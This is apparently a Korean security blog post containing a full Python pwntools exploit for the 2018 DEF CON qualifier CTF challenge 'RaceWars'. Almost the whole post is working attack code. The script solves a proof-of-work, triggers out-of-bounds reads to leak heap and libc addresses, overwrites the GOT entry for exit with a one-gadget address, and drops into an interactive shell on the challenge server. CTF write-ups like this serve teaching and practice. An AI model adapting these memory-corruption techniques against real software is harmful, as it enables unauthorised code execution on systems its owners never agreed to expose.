2018 DEFCON_qual RaceWars
by St1tch
from pwn import *
#import stitch
def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo() : exec( "context.log_level = 'info'" )
def logerror() : exec( "context.log_level = 'error'" )
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
pad64 = 0xffffffffffffffff
pad32 = 0xffffffff
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)
conv = lambda n : hex(n & int('f'*16, 16))
def pow_hash(challenge, solution):
return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):
h = pow_hash(challenge, solution)
return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):
candidate = 0
while True:
if check_pow(challenge, n, candidate):
return candidate
candidate += 1
def snd(pay):
s.sendline(str(pay))
sleep(0.3)
def fuck(target):
target = p64(target)
target = [target[i:i+2] for i in range(0, len(target), 2)]
for i, order in enumerate([0, 1, 3, 2]):
snd(1)
snd(i+1)
snd(int(target[order][::-1].encode('hex'), 16))
def fuck2():
p = log.progress('start...')
res = ''
for idx in range(24, 24+8):
snd(4)
snd(idx)
snd(0)
snd(0)
tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1]
res = hex(eval(tmp))[2:].rjust(2, '0')+ res
p.status('1 '+res)
gear = int(res, 16) - 16
log.info(hex(gear))
res = ''
dist = elf.got['setvbuf'] - gear
sleep(1)
s.clean()
for idx in range(dist, dist+8):
snd(4)
snd(idx)
snd(0)
snd(0)
tmp = re.findall('is [0-9]{1,3}', s.recv())[0].split()[-1]
res = hex(eval(tmp))[2:].rjust(2, '0') + res
p.status('2 '+res)
libc.address = int(res, 16)-libc.symbols['setvbuf']
log.info(hex(libc.address))
target = p64(libc.address+oneshot)
sleep(1)
s.clean()
dist = elf.got['exit'] - gear
idx=0
for offset in range(dist, dist+8):
snd(4)
snd(offset)
snd(int(target[idx].encode('hex'), 16))
snd(1)
idx += 1
p.status('3 '+str(idx)+' overwrite')
p.success()
def solver() :
#tire
snd(1)
snd((2<<31)>>5)
#transmission
snd(4)
snd(1)
#chassis
snd(2)
snd(1)
#engine
snd(3)
#overwrite size
fuck(int('f'*16, 16))
s.clean()
#libcleak
fuck2()
s.clean()
snd(5)
snd(1)
snd(0)
s.interactive()
if __name__ == '__main__' :
prob = 'racewars'
if len(sys.argv) == 1:
s = process(prob)
pid = util.proc.pidof(s)[0]
p_base = [s.libs()[d] for d in s.libs() if prob in d][0]
l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
log.info('pid = {}'.format(pid))
log.info('proc_base = {}'.format(hex(p_base)))
log.info('libc_base = {}'.format(hex(l_base)))
libc = ELF(s.libs().keys()[0])
oneshot = 0x4f322
debug=False
if debug:
context.terminal = ['tmux', 'splitw', '-h']
execute = '''
b *{}
c
'''.format(p_base)
gdb.attach(pid, execute)
else: #source gd
open('gd', 'w').write('''
d
d display
b*0x4015C4
attach {}
c
'''.format(pid))
else :
s = remote("2f76febe.quals2018.oooverflow.io", 31337)
libc = ELF('libc-2.23.so')
oneshot = 0xf02a4
chal, _, n = s.recvuntil('Solution').split()[3:6]
print chal, n
res = solve_pow(chal, int(n))
s.sendline(str(res))
elf = ELF(prob)
pause()
solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch